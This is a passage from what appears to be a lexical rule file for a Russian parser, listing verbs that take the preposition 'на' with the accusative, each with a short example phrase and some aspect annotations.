rus_verbs:подогнать{}, // подогнать на пристань rus_verbs:наехать{}, // наехать на камень rus_verbs:распевать{}, // распевать на разные голоса rus_verbs:разносить{}, // разносить на клочки rus_verbs:преувеличивать{}, // преувеличивать на много килограммов rus_verbs:хромать{}, // хромать на одну ногу rus_verbs:телеграфировать{}, // телеграфировать на базу rus_verbs:порезать{}, // порезать на лоскуты rus_verbs:порваться{}, // порваться на части rus_verbs:загонять{}, // загонять на дерево rus_verbs:отбывать{}, // отбывать на место службы rus_verbs:усаживаться{}, // усаживаться на трон rus_verbs:накопить{}, // накопить на квартиру rus_verbs:зыркнуть{}, // зыркнуть на визитера rus_verbs:копить{}, // копить на машину rus_verbs:помещать{}, // помещать на верхнюю грань rus_verbs:сползать{}, // сползать на снег rus_verbs:попроситься{}, // попроситься на улицу rus_verbs:перетащить{}, // перетащить на чердак rus_verbs:растащить{}, // растащить на сувениры rus_verbs:ниспадать{}, // ниспадать на землю rus_verbs:сфотографировать{}, // сфотографировать на память rus_verbs:нагонять{}, // нагонять на конкурентов страх rus_verbs:покушаться{}, // покушаться на понтифика rus_verbs:покуситься{}, rus_verbs:наняться{}, // наняться на службу rus_verbs:просачиваться{}, // просачиваться на поверхность rus_verbs:пускаться{}, // пускаться на ветер rus_verbs:отваживаться{}, // отваживаться на прыжок rus_verbs:досадовать{}, // досадовать на объективные трудности rus_verbs:унестись{}, // унестись на небо rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов rus_verbs:насадить{}, // насадить на копьё rus_verbs:нагрянуть{}, // нагрянуть на праздник rus_verbs:зашвырнуть{}, // зашвырнуть на полку rus_verbs:грешить{}, // грешить на постояльцев rus_verbs:просочиться{}, // просочиться на поверхность rus_verbs:надоумить{}, // надоумить на глупость rus_verbs:намотать{}, // намотать на шпиндель rus_verbs:замкнуть{}, // замкнуть на корпус rus_verbs:цыкнуть{}, // цыкнуть на детей rus_verbs:переворачиваться{}, // переворачиваться на спину rus_verbs:соваться{}, // соваться на площать rus_verbs:отлучиться{}, // отлучиться на обед rus_verbs:пенять{}, // пенять на себя rus_verbs:нарезать{}, // нарезать на ломтики rus_verbs:поставлять{}, // поставлять на Кипр rus_verbs:залезать{}, // залезать на балкон rus_verbs:отлучаться{}, // отлучаться на обед rus_verbs:сбиваться{}, // сбиваться на шаг rus_verbs:таращить{}, // таращить глаза на вошедшего rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню rus_verbs:опережать{}, // опережать на пару сантиметров rus_verbs:переставить{}, // переставить на стол rus_verbs:раздирать{}, // раздирать на части rus_verbs:затвориться{}, // затвориться на засовы rus_verbs:материться{}, // материться на кого-то rus_verbs:наскочить{}, // наскочить на риф rus_verbs:набираться{}, // набираться на борт rus_verbs:покрикивать{}, // покрикивать на помощников rus_verbs:заменяться{}, // заменяться на более новый rus_verbs:подсадить{}, // подсадить на верхнюю полку rus_verbs:проковылять{}, // проковылять на кухню rus_verbs:прикатить{}, // прикатить на старт rus_verbs:залететь{}, // залететь на чужую территорию rus_verbs:загрузить{}, // загрузить на конвейер rus_verbs:уплывать{}, // уплывать на материк rus_verbs:опозорить{}, // опозорить на всю деревню rus_verbs:провоцировать{}, // провоцировать на ответную агрессию rus_verbs:забивать{}, // забивать на учебу rus_verbs:набегать{}, // набегать на прибрежные деревни rus_verbs:запираться{}, // запираться на ключ rus_verbs:фотографировать{}, // фотографировать на мыльницу rus_verbs:подымать{}, // подымать на недосягаемую высоту rus_verbs:съезжаться{}, // съезжаться на симпозиум rus_verbs:отвлекаться{}, // отвлекаться на игру rus_verbs:проливать{}, // проливать на брюки rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца rus_verbs:уползти{}, // уползти на вершину холма rus_verbs:переместить{}, // переместить на вторую палубу rus_verbs:превысить{}, // превысить на несколько метров rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку rus_verbs:спровоцировать{}, // спровоцировать на бросок rus_verbs:сместиться{}, // сместиться на соседнюю клетку rus_verbs:заготовить{}, // заготовить на зиму rus_verbs:плеваться{}, // плеваться на пол rus_verbs:переселить{}, // переселить на север rus_verbs:напирать{}, // напирать на дверь rus_verbs:переезжать{}, // переезжать на другой этаж rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров rus_verbs:трогаться{}, // трогаться на красный свет rus_verbs:надвинуться{}, // надвинуться на глаза rus_verbs:засмотреться{}, // засмотреться на купальники rus_verbs:убыть{}, // убыть на фронт rus_verbs:передвигать{}, // передвигать на второй уровень rus_verbs:отвозить{}, // отвозить на свалку rus_verbs:обрекать{}, // обрекать на гибель rus_verbs:записываться{}, // записываться на танцы rus_verbs:настраивать{}, // настраивать на другой диапазон rus_verbs:переписывать{}, // переписывать на диск rus_verbs:израсходовать{}, // израсходовать на гонки rus_verbs:обменять{}, // обменять на перспективного игрока rus_verbs:трубить{}, // трубить на всю округу rus_verbs:набрасываться{}, // набрасываться на жертву rus_verbs:чихать{}, // чихать на правила rus_verbs:наваливаться{}, // наваливаться на рычаг rus_verbs:сподобиться{}, // сподобиться на повторный анализ rus_verbs:намазать{}, // намазать на хлеб rus_verbs:прореагировать{}, // прореагировать на вызов rus_verbs:зачислить{}, // зачислить на факультет rus_verbs:наведаться{}, // наведаться на склад rus_verbs:откидываться{}, // откидываться на спинку кресла rus_verbs:захромать{}, // захромать на левую ногу rus_verbs:перекочевать{}, // перекочевать на другой берег rus_verbs:накатываться{}, // накатываться на песчаный берег rus_verbs:приостановить{}, // приостановить на некоторое время rus_verbs:запрятать{}, // запрятать на верхнюю полочку rus_verbs:прихрамывать{}, // прихрамывать на правую ногу rus_verbs:упорхнуть{}, // упорхнуть на свободу rus_verbs:расстегивать{}, // расстегивать на пальто rus_verbs:напуститься{}, // напуститься на бродягу rus_verbs:накатывать{}, // накатывать на оригинал rus_verbs:наезжать{}, // наезжать на простофилю rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека rus_verbs:отрядить{}, // отрядить на починку rus_verbs:положиться{}, // положиться на главаря rus_verbs:опрокидывать{}, // опрокидывать на голову rus_verbs:поторапливаться{}, // поторапливаться на рейс rus_verbs:налагать{}, // налагать на заемщика rus_verbs:скопировать{}, // скопировать на диск rus_verbs:опадать{}, // опадать на землю rus_verbs:купиться{}, // купиться на посулы rus_verbs:гневаться{}, // гневаться на слуг rus_verbs:слететься{}, // слететься на раздачу rus_verbs:убавить{}, // убавить на два уровня rus_verbs:спихнуть{}, // спихнуть на соседа rus_verbs:накричать{}, // накричать на ребенка rus_verbs:приберечь{}, // приберечь на ужин rus_verbs:приклеить{}, // приклеить на ветровое стекло rus_verbs:ополчиться{}, // ополчиться на посредников rus_verbs:тратиться{}, // тратиться на сувениры rus_verbs:слетаться{}, // слетаться на свет rus_verbs:доставляться{}, // доставляться на базу rus_verbs:поплевать{}, // поплевать на руки rus_verbs:огрызаться{}, // огрызаться на замечание rus_verbs:попереться{}, // попереться на рынок rus_verbs:растягиваться{}, // растягиваться на полу rus_verbs:повергать{}, // повергать на землю rus_verbs:ловиться{}, // ловиться на мотыля rus_verbs:наседать{}, // наседать на обороняющихся rus_verbs:развалить{}, // развалить на кирпичи rus_verbs:разломить{}, // разломить на несколько частей rus_verbs:примерить{}, // примерить на себя rus_verbs:лепиться{}, // лепиться на стену rus_verbs:скопить{}, // скопить на старость rus_verbs:затратить{}, // затратить на ликвидацию последствий rus_verbs:притащиться{}, // притащиться на гулянку rus_verbs:осерчать{}, // осерчать на прислугу rus_verbs:натравить{}, // натравить на медведя rus_verbs:ссыпать{}, // ссыпать на землю rus_verbs:подвозить{}, // подвозить на пристань rus_verbs:мобилизовать{}, // мобилизовать на сборы rus_verbs:смотаться{}, // смотаться на работу rus_verbs:заглядеться{}, // заглядеться на девчонок rus_verbs:таскаться{}, // таскаться на работу rus_verbs:разгружать{}, // разгружать на транспортер rus_verbs:потреблять{}, // потреблять на кондиционирование инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу деепричастие:сгоняв{}, rus_verbs:посылаться{}, // посылаться на разведку rus_verbs:окрыситься{}, // окрыситься на кого-то rus_verbs:отлить{}, // отлить на сковороду rus_verbs:шикнуть{}, // шикнуть на детишек rus_verbs:уповать{}, // уповать на бескорысную помощь rus_verbs:класться{}, // класться на стол rus_verbs:поковылять{}, // поковылять на выход rus_verbs:навевать{}, // навевать на собравшихся скуку rus_verbs:накладываться{}, // накладываться на грунтовку rus_verbs:наноситься{}, // наноситься на чистую кожу // rus_verbs:запланировать{}, // запланировать на среду rus_verbs:кувыркнуться{}, // кувыркнуться на землю rus_verbs:гавкнуть{}, // гавкнуть на хозяина rus_verbs:перестроиться{}, // перестроиться на новый лад rus_verbs:расходоваться{}, // расходоваться на образование rus_verbs:дуться{}, // дуться на бабушку rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол rus_verbs:издаться{}, // издаться на деньги спонсоров rus_verbs:смещаться{}, // смещаться на несколько миллиметров rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу rus_verbs:пикировать{}, // пикировать на окопы rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей rus_verbs:зудить{}, // зудить на ухо rus_verbs:подразделяться{}, // подразделяться на группы rus_verbs:изливаться{}, // изливаться на землю rus_verbs:помочиться{}, // помочиться на траву rus_verbs:примерять{}, // примерять на себя rus_verbs:разрядиться{}, // разрядиться на землю rus_verbs:мотнуться{}, // мотнуться на крышу rus_verbs:налегать{}, // налегать на весла rus_verbs:зацокать{}, // зацокать на куриц rus_verbs:наниматься{}, // наниматься на корабль rus_verbs:сплевывать{}, // сплевывать на землю rus_verbs:настучать{}, // настучать на саботажника rus_verbs:приземляться{}, // приземляться на брюхо rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу rus_verbs:серчать{}, // серчать на нерасторопную помощницу rus_verbs:сваливать{}, // сваливать на подоконник rus_verbs:засобираться{}, // засобираться на работу rus_verbs:распилить{}, // распилить на одинаковые бруски //rus_verbs:умножать{}, // умножать на константу rus_verbs:копировать{}, // копировать на диск rus_verbs:накрутить{}, // накрутить на руку rus_verbs:навалить{}, // навалить на телегу rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль rus_verbs:шлепаться{}, // шлепаться на бетон rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение rus_verbs:посягнуть{}, // посягнуть на святое rus_verbs:разменять{}, // разменять на мелочь rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции rus_verbs:усаживать{}, // усаживать на скамейку rus_verbs:натаскать{}, // натаскать на поиск наркотиков rus_verbs:зашикать{}, // зашикать на кошку rus_verbs:разломать{}, // разломать на равные части rus_verbs:приглашаться{}, // приглашаться на сцену rus_verbs:присягать{}, // присягать на верность rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку rus_verbs:расщедриться{}, // расщедриться на новый компьютер rus_verbs:насесть{}, // насесть на двоечников rus_verbs:созывать{}, // созывать на собрание rus_verbs:позариться{}, // позариться на чужое добро rus_verbs:перекидываться{}, // перекидываться на соседние здания rus_verbs:наползать{}, // наползать на неповрежденную ткань rus_verbs:изрубить{}, // изрубить на мелкие кусочки rus_verbs:наворачиваться{}, // наворачиваться на глаза rus_verbs:раскричаться{}, // раскричаться на всю округу rus_verbs:переползти{}, // переползти на светлую сторону rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию rus_verbs:мочиться{}, // мочиться на трупы убитых врагов rus_verbs:радировать{}, // радировать на базу rus_verbs:промотать{}, // промотать на начало rus_verbs:заснять{}, // заснять на видео rus_verbs:подбивать{}, // подбивать на матч-реванш rus_verbs:наплевать{}, // наплевать на справедливость rus_verbs:подвывать{}, // подвывать на луну rus_verbs:расплескать{}, // расплескать на пол rus_verbs:польститься{}, // польститься на бесплатный сыр rus_verbs:помчать{}, // помчать на работу rus_verbs:съезжать{}, // съезжать на обочину rus_verbs:нашептать{}, // нашептать кому-то на ухо rus_verbs:наклеить{}, // наклеить на доску объявлений rus_verbs:завозить{}, // завозить на склад rus_verbs:заявляться{}, // заявляться на любимую работу rus_verbs:наглядеться{}, // наглядеться на воробьев rus_verbs:хлопнуться{}, // хлопнуться на живот rus_verbs:забредать{}, // забредать на поляну rus_verbs:посягать{}, // посягать на исконные права собственности rus_verbs:сдвигать{}, // сдвигать на одну позицию rus_verbs:спрыгивать{}, // спрыгивать на землю rus_verbs:сдвигаться{}, // сдвигаться на две позиции rus_verbs:разделать{}, // разделать на орехи rus_verbs:разлагать{}, // разлагать на элементарные элементы rus_verbs:обрушивать{}, // обрушивать на головы врагов rus_verbs:натечь{}, // натечь на пол rus_verbs:политься{}, // вода польется на землю rus_verbs:успеть{}, // Они успеют на поезд. инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш }, деепричастие:мигрируя{}, инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш }, деепричастие:мигрировав{}, rus_verbs:двинуться{}, // Мы скоро двинемся на дачу. rus_verbs:подойти{}, // Он не подойдёт на должность секретаря. rus_verbs:потянуть{}, // Он не потянет на директора. rus_verbs:тянуть{}, // Он не тянет на директора. rus_verbs:перескакивать{}, // перескакивать с одного примера на другой rus_verbs:жаловаться{}, // Он жалуется на нездоровье. rus_verbs:издать{}, // издать на деньги спонсоров rus_verbs:показаться{}, // показаться на глаза rus_verbs:высаживать{}, // высаживать на необитаемый остров rus_verbs:вознестись{}, // вознестись на самую вершину славы rus_verbs:залить{}, // залить на youtube rus_verbs:закачать{}, // закачать на youtube rus_verbs:сыграть{}, // сыграть на деньги rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных глагол:экстраполироваться{ вид:несоверш}, инфинитив:экстраполироваться{ вид:соверш}, глагол:экстраполироваться{ вид:соверш}, деепричастие:экстраполируясь{}, инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы глагол:акцентировать{вид:соверш}, инфинитив:акцентировать{вид:несоверш}, глагол:акцентировать{вид:несоверш}, прилагательное:акцентировавший{вид:несоверш}, //прилагательное:акцентировавший{вид:соверш}, прилагательное:акцентирующий{}, деепричастие:акцентировав{}, деепричастие:акцентируя{}, rus_verbs:бабахаться{}, // он бабахался на пол rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина rus_verbs:бахаться{}, // Наездники бахались на землю rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю rus_verbs:благословить{}, // батюшка благословил отрока на подвиг rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг rus_verbs:блевануть{}, // Он блеванул на землю rus_verbs:блевать{}, // Он блюет на землю rus_verbs:бухнуться{}, // Наездник бухнулся на землю rus_verbs:валить{}, // Ветер валил деревья на землю rus_verbs:спилить{}, // Спиленное дерево валится на землю rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес rus_verbs:вестись{}, // Не ведись на эти уловки! rus_verbs:вешать{}, // Гости вешают одежду на вешалку rus_verbs:вешаться{}, // Одежда вешается на вешалки rus_verbs:вещать{}, // радиостанция вещает на всю страну rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм rus_verbs:взбредать{}, // Что иногда взбредает на ум rus_verbs:взбрести{}, // Что-то взбрело на ум rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи rus_verbs:взглянуть{}, // Кошка взглянула на мышку rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух rus_verbs:взобраться{}, // Туристы взобрались на гору rus_verbs:взойти{}, // Туристы взошли на гору rus_verbs:взъесться{}, // Отец взъелся на непутевого сына rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка rus_verbs:водворить{}, // водворить нарушителя на место rus_verbs:водвориться{}, // водвориться на свое место rus_verbs:водворять{}, // водворять вещь на свое место rus_verbs:водворяться{}, // водворяться на свое место rus_verbs:водружать{}, // водружать флаг на флагшток rus_verbs:водружаться{}, // Флаг водружается на флагшток rus_verbs:водрузить{}, // водрузить флаг на флагшток rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы rus_verbs:воздействовать{}, // Излучение воздействует на кожу rus_verbs:воззреть{}, // воззреть на поле боя rus_verbs:воззриться{}, // воззриться на поле боя rus_verbs:возить{}, // возить туристов на гору rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу rus_verbs:возлагаться{}, // Ответственность возлагается на начальство rus_verbs:возлечь{}, // возлечь на лежанку rus_verbs:возложить{}, // возложить цветы на могилу поэта rus_verbs:вознести{}, // вознести кого-то на вершину славы rus_verbs:возноситься{}, // возносится на вершину успеха rus_verbs:возносить{}, // возносить счастливчика на вершину успеха rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж rus_verbs:подняться{}, // Мы поднялись на восьмой этаж rus_verbs:вонять{}, // Кусок сыра воняет на всю округу rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги rus_verbs:ворчать{}, // Старый пес ворчит на прохожих rus_verbs:воспринимать{}, // воспринимать сообщение на слух rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух rus_verbs:воспринять{}, // воспринять сообщение на слух rus_verbs:восприняться{}, // восприняться на слух rus_verbs:воссесть{}, // Коля воссел на трон rus_verbs:вправить{}, // вправить мозг на место rus_verbs:вправлять{}, // вправлять мозги на место rus_verbs:временить{}, // временить с выходом на пенсию rus_verbs:врубать{}, // врубать на полную мощность rus_verbs:врубить{}, // врубить на полную мощность rus_verbs:врубиться{}, // врубиться на полную мощность rus_verbs:врываться{}, // врываться на собрание rus_verbs:вскарабкаться{}, // вскарабкаться на утёс rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс rus_verbs:вскочить{}, // вскочить на ноги rus_verbs:всплывать{}, // всплывать на поверхность воды rus_verbs:всплыть{}, // всплыть на поверхность воды rus_verbs:вспрыгивать{}, // вспрыгивать на платформу rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу rus_verbs:встать{}, // встать на защиту чести и достоинства rus_verbs:вторгаться{}, // вторгаться на чужую территорию rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию rus_verbs:въезжать{}, // въезжать на пандус rus_verbs:наябедничать{}, // наябедничать на соседа по парте rus_verbs:выблевать{}, // выблевать завтрак на пол rus_verbs:выблеваться{}, // выблеваться на пол rus_verbs:выблевывать{}, // выблевывать завтрак на пол rus_verbs:выблевываться{}, // выблевываться на пол rus_verbs:вывезти{}, // вывезти мусор на свалку rus_verbs:вывесить{}, // вывесить белье на просушку rus_verbs:вывести{}, // вывести собаку на прогулку rus_verbs:вывешивать{}, // вывешивать белье на веревку rus_verbs:вывозить{}, // вывозить детей на природу rus_verbs:вызывать{}, // Начальник вызывает на ковер rus_verbs:выйти{}, // выйти на свободу rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение rus_verbs:выливать{}, // выливать на землю rus_verbs:выливаться{}, // выливаться на землю rus_verbs:вылить{}, // вылить жидкость на землю rus_verbs:вылиться{}, // Топливо вылилось на землю rus_verbs:выложить{}, // выложить на берег rus_verbs:выменивать{}, // выменивать золото на хлеб rus_verbs:вымениваться{}, // Золото выменивается на хлеб rus_verbs:выменять{}, // выменять золото на хлеб rus_verbs:выпадать{}, // снег выпадает на землю rus_verbs:выплевывать{}, // выплевывать на землю rus_verbs:выплевываться{}, // выплевываться на землю rus_verbs:выплескать{}, // выплескать на землю rus_verbs:выплескаться{}, // выплескаться на землю rus_verbs:выплескивать{}, // выплескивать на землю rus_verbs:выплескиваться{}, // выплескиваться на землю rus_verbs:выплывать{}, // выплывать на поверхность rus_verbs:выплыть{}, // выплыть на поверхность rus_verbs:выплюнуть{}, // выплюнуть на пол rus_verbs:выползать{}, // выползать на свежий воздух rus_verbs:выпроситься{}, // выпроситься на улицу rus_verbs:выпрыгивать{}, // выпрыгивать на свободу rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон rus_verbs:выпускать{}, // выпускать на свободу rus_verbs:выпустить{}, // выпустить на свободу rus_verbs:выпучивать{}, // выпучивать на кого-то глаза rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то rus_verbs:выпучить{}, // выпучить глаза на кого-то rus_verbs:выпучиться{}, // выпучиться на кого-то rus_verbs:выронить{}, // выронить на землю rus_verbs:высадить{}, // высадить на берег rus_verbs:высадиться{}, // высадиться на берег rus_verbs:высаживаться{}, // высаживаться на остров rus_verbs:выскальзывать{}, // выскальзывать на землю rus_verbs:выскочить{}, // выскочить на сцену rus_verbs:высморкаться{}, // высморкаться на землю rus_verbs:высморкнуться{}, // высморкнуться на землю rus_verbs:выставить{}, // выставить на всеобщее обозрение rus_verbs:выставиться{}, // выставиться на всеобщее обозрение rus_verbs:выставлять{}, // выставлять на всеобщее обозрение rus_verbs:выставляться{}, // выставляться на всеобщее обозрение инфинитив:высыпать{вид:соверш}, // высыпать на землю инфинитив:высыпать{вид:несоверш}, глагол:высыпать{вид:соверш}, глагол:высыпать{вид:несоверш}, деепричастие:высыпав{}, деепричастие:высыпая{}, прилагательное:высыпавший{вид:соверш}, //++прилагательное:высыпавший{вид:несоверш}, прилагательное:высыпающий{вид:несоверш}, rus_verbs:высыпаться{}, // высыпаться на землю rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя rus_verbs:вытаращиваться{}, // вытаращиваться на медведя rus_verbs:вытаращить{}, // вытаращить глаза на медведя rus_verbs:вытаращиться{}, // вытаращиться на медведя rus_verbs:вытекать{}, // вытекать на землю rus_verbs:вытечь{}, // вытечь на землю rus_verbs:выучиваться{}, // выучиваться на кого-то rus_verbs:выучиться{}, // выучиться на кого-то rus_verbs:посмотреть{}, // посмотреть на экран rus_verbs:нашить{}, // нашить что-то на одежду rus_verbs:придти{}, // придти на помощь кому-то инфинитив:прийти{}, // прийти на помощь кому-то глагол:прийти{}, деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты. rus_verbs:поднять{}, // поднять на вершину rus_verbs:согласиться{}, // согласиться на ничью rus_verbs:послать{}, // послать на фронт rus_verbs:слать{}, // слать на фронт rus_verbs:надеяться{}, // надеяться на лучшее rus_verbs:крикнуть{}, // крикнуть на шалунов rus_verbs:пройти{}, // пройти на пляж rus_verbs:прислать{}, // прислать на экспертизу rus_verbs:жить{}, // жить на подачки rus_verbs:становиться{}, // становиться на ноги rus_verbs:наслать{}, // наслать на кого-то rus_verbs:принять{}, // принять на заметку rus_verbs:собираться{}, // собираться на экзамен rus_verbs:оставить{}, // оставить на всякий случай rus_verbs:звать{}, // звать на помощь rus_verbs:направиться{}, // направиться на прогулку rus_verbs:отвечать{}, // отвечать на звонки rus_verbs:отправиться{}, // отправиться на прогулку rus_verbs:поставить{}, // поставить на пол rus_verbs:обернуться{}, // обернуться на зов rus_verbs:отозваться{}, // отозваться на просьбу rus_verbs:закричать{}, // закричать на собаку rus_verbs:опустить{}, // опустить на землю rus_verbs:принести{}, // принести на пляж свой жезлонг rus_verbs:указать{}, // указать на дверь rus_verbs:ходить{}, // ходить на занятия rus_verbs:уставиться{}, // уставиться на листок rus_verbs:приходить{}, // приходить на экзамен rus_verbs:махнуть{}, // махнуть на пляж rus_verbs:явиться{}, // явиться на допрос rus_verbs:оглянуться{}, // оглянуться на дорогу rus_verbs:уехать{}, // уехать на заработки rus_verbs:повести{}, // повести на штурм rus_verbs:опуститься{}, // опуститься на колени //rus_verbs:передать{}, // передать на проверку rus_verbs:побежать{}, // побежать на занятия rus_verbs:прибыть{}, // прибыть на место службы rus_verbs:кричать{}, // кричать на медведя rus_verbs:стечь{}, // стечь на землю rus_verbs:обратить{}, // обратить на себя внимание rus_verbs:подать{}, // подать на пропитание rus_verbs:привести{}, // привести на съемки rus_verbs:испытывать{}, // испытывать на животных rus_verbs:перевести{}, // перевести на жену rus_verbs:купить{}, // купить на заемные деньги rus_verbs:собраться{}, // собраться на встречу rus_verbs:заглянуть{}, // заглянуть на огонёк rus_verbs:нажать{}, // нажать на рычаг rus_verbs:поспешить{}, // поспешить на праздник rus_verbs:перейти{}, // перейти на русский язык rus_verbs:поверить{}, // поверить на честное слово rus_verbs:глянуть{}, // глянуть на обложку rus_verbs:зайти{}, // зайти на огонёк rus_verbs:проходить{}, // проходить на сцену rus_verbs:глядеть{}, // глядеть на актрису //rus_verbs:решиться{}, // решиться на прыжок rus_verbs:пригласить{}, // пригласить на танец rus_verbs:позвать{}, // позвать на экзамен rus_verbs:усесться{}, // усесться на стул rus_verbs:поступить{}, // поступить на математический факультет rus_verbs:лечь{}, // лечь на живот rus_verbs:потянуться{}, // потянуться на юг rus_verbs:присесть{}, // присесть на корточки rus_verbs:наступить{}, // наступить на змею rus_verbs:заорать{}, // заорать на попрошаек rus_verbs:надеть{}, // надеть на голову rus_verbs:поглядеть{}, // поглядеть на девчонок rus_verbs:принимать{}, // принимать на гарантийное обслуживание rus_verbs:привезти{}, // привезти на испытания rus_verbs:рухнуть{}, // рухнуть на асфальт rus_verbs:пускать{}, // пускать на корм rus_verbs:отвести{}, // отвести на приём rus_verbs:отправить{}, // отправить на утилизацию rus_verbs:двигаться{}, // двигаться на восток rus_verbs:нести{}, // нести на пляж rus_verbs:падать{}, // падать на руки rus_verbs:откинуться{}, // откинуться на спинку кресла rus_verbs:рявкнуть{}, // рявкнуть на детей rus_verbs:получать{}, // получать на проживание rus_verbs:полезть{}, // полезть на рожон rus_verbs:направить{}, // направить на дообследование rus_verbs:приводить{}, // приводить на проверку rus_verbs:потребоваться{}, // потребоваться на замену rus_verbs:кинуться{}, // кинуться на нападавшего rus_verbs:учиться{}, // учиться на токаря rus_verbs:приподнять{}, // приподнять на один метр rus_verbs:налить{}, // налить на стол rus_verbs:играть{}, // играть на деньги rus_verbs:рассчитывать{}, // рассчитывать на подмогу rus_verbs:шепнуть{}, // шепнуть на ухо rus_verbs:швырнуть{}, // швырнуть на землю rus_verbs:прыгнуть{}, // прыгнуть на оленя rus_verbs:предлагать{}, // предлагать на выбор rus_verbs:садиться{}, // садиться на стул rus_verbs:лить{}, // лить на землю rus_verbs:испытать{}, // испытать на животных rus_verbs:фыркнуть{}, // фыркнуть на детеныша rus_verbs:годиться{}, // мясо годится на фарш rus_verbs:проверить{}, // проверить высказывание на истинность rus_verbs:откликнуться{}, // откликнуться на призывы rus_verbs:полагаться{}, // полагаться на интуицию rus_verbs:покоситься{}, // покоситься на соседа rus_verbs:повесить{}, // повесить на гвоздь инфинитив:походить{вид:соверш}, // походить на занятия глагол:походить{вид:соверш}, деепричастие:походив{}, прилагательное:походивший{}, rus_verbs:помчаться{}, // помчаться на экзамен rus_verbs:ставить{}, // ставить на контроль rus_verbs:свалиться{}, // свалиться на землю rus_verbs:валиться{}, // валиться на землю rus_verbs:подарить{}, // подарить на день рожденья rus_verbs:сбежать{}, // сбежать на необитаемый остров rus_verbs:стрелять{}, // стрелять на поражение rus_verbs:обращать{}, // обращать на себя внимание rus_verbs:наступать{}, // наступать на те же грабли rus_verbs:сбросить{}, // сбросить на землю rus_verbs:обидеться{}, // обидеться на друга rus_verbs:устроиться{}, // устроиться на стажировку rus_verbs:погрузиться{}, // погрузиться на большую глубину rus_verbs:течь{}, // течь на землю rus_verbs:отбросить{}, // отбросить на землю rus_verbs:метать{}, // метать на дно rus_verbs:пустить{}, // пустить на переплавку rus_verbs:прожить{}, // прожить на пособие rus_verbs:полететь{}, // полететь на континент rus_verbs:пропустить{}, // пропустить на сцену rus_verbs:указывать{}, // указывать на ошибку rus_verbs:наткнуться{}, // наткнуться на клад rus_verbs:рвануть{}, // рвануть на юг rus_verbs:ступать{}, // ступать на землю rus_verbs:спрыгнуть{}, // спрыгнуть на берег rus_verbs:заходить{}, // заходить на огонёк rus_verbs:нырнуть{}, // нырнуть на глубину rus_verbs:рвануться{}, // рвануться на свободу rus_verbs:натянуть{}, // натянуть на голову rus_verbs:забраться{}, // забраться на стол rus_verbs:помахать{}, // помахать на прощание rus_verbs:содержать{}, // содержать на спонсорскую помощь rus_verbs:приезжать{}, // приезжать на праздники rus_verbs:проникнуть{}, // проникнуть на территорию rus_verbs:подъехать{}, // подъехать на митинг rus_verbs:устремиться{}, // устремиться на волю rus_verbs:посадить{}, // посадить на стул rus_verbs:ринуться{}, // ринуться на голкипера rus_verbs:подвигнуть{}, // подвигнуть на подвиг rus_verbs:отдавать{}, // отдавать на перевоспитание rus_verbs:отложить{}, // отложить на черный день rus_verbs:убежать{}, // убежать на танцы rus_verbs:поднимать{}, // поднимать на верхний этаж rus_verbs:переходить{}, // переходить на цифровой сигнал rus_verbs:отослать{}, // 